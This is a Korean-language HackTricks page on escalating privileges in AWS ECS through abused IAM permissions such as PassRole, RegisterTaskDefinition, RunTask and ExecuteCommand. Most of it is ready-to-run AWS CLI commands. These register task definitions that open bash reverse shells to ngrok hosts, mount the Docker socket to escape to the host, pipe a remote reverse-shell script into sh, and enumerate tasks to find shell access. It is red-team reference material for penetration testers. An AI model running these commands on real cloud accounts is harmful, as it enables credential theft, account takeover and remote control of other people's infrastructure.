AWS - ECS Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

ECS

ECS에 대한 추가 정보는 다음에서 확인할 수 있습니다:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask 권한을 악용하는 공격자는 악성 컨테이너가 메타데이터 자격 증명을 도용하고 새로운 작업 정의를 생성하여 실행할 수 있습니다.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

잠재적 영향: 다른 ECS 역할로의 직접 권한 상승.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 권한을 악용하는 공격자는 악성 컨테이너를 가진 새로운 작업 정의를 생성하고 메타데이터 자격 증명을 도용하여 실행할 수 있습니다. 그러나 이 경우에는 악성 작업 정의를 실행하기 위해 컨테이너 인스턴스가 필요합니다.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

잠재적 영향: 어떤 ECS 역할에 대한 직접적인 권한 상승.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService 또는 ecs:CreateService 권한을 악용하는 공격자는 악성 컨테이너를 가진 새로운 작업 정의를 생성하여 메타데이터 자격 증명을 도용하고, 적어도 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

잠재적 영향: 어떤 ECS 역할에 대한 직접적인 권한 상승.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

이 시나리오는 이전과 비슷하지만 iam:PassRole 권한이 없는 경우입니다. 이것은 여전히 흥미로운데, 임의의 컨테이너를 실행할 수 있다면, 역할이 없더라도 특권 컨테이너를 실행하여 노드로 탈출하고, 노드에서 실행 중인 EC2 IAM 역할다른 ECS 컨테이너 역할을 도난할 수 있습니다. 심지어 노드로의 권한 상승 섹션에서 논의된 대로, 침투한 EC2 인스턴스 내에서 다른 작업을 실행하도록 강제할 수도 있습니다.

이 공격은 ECS 클러스터가 EC2 인스턴스를 사용하고 Fargate를 사용하지 않는 경우에만 가능합니다.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

ecs:ExecuteCommand, ecs:DescribeTasks 권한을 가진 공격자는 실행 중인 컨테이너 내에서 명령을 실행하고 그에 연결된 IAM 역할을 유출할 수 있습니다 (aws ecs execute-command를 실행하기 위해 describe 권한이 필요합니다).

그러나 이를 위해서는 컨테이너 인스턴스가 기본적으로 실행되는 ExecuteCommand 에이전트를 실행해야 합니다.

따라서, 공격자는 다음을 시도할 수 있습니다:

  • 실행 중인 모든 컨테이너에서 명령을 실행해 봅니다.

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • 만약 그가 **ecs:RunTask**를 가지고 있다면, aws ecs run-task --enable-execute-command [...]로 작업을 실행합니다.

  • 만약 그가 **ecs:StartTask**를 가지고 있다면, aws ecs start-task --enable-execute-command [...]로 작업을 실행합니다.

  • 만약 그가 **ecs:CreateService**를 가지고 있다면, aws ecs create-service --enable-execute-command [...]로 서비스를 생성합니다.

  • 만약 그가 **ecs:UpdateService**를 가지고 있다면, aws ecs update-service --enable-execute-command [...]로 서비스를 업데이트합니다.

이러한 옵션의 예시이전 ECS 권한 상승 섹션에서 찾을 수 있습니다.

잠재적인 영향: 컨테이너에 연결된 다른 역할로의 권한 상승.

ssm:StartSession

이 권한을 악용하여 ECS로 권한 상승하는 방법은 ssm 권한 상승 페이지에서 확인할 수 있습니다:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

이 권한을 악용하여 ECS로 권한 상승하는 방법은 ec2 권한 상승 페이지에서 확인할 수 있습니다:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: 공격자가 제어하는 기계에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는지 확인할 수 있을까요??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: 이를 테스트하세요.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets 권한을 가진 공격자는 기존 ECS 서비스에 악성 작업 세트를 생성하고 주요 작업 세트를 업데이트할 수 있습니다. 이를 통해 공격자는 서비스 내에서 임의의 코드를 실행할 수 있습니다.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

잠재적 영향: 해당 서비스에서 임의의 코드를 실행하여 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新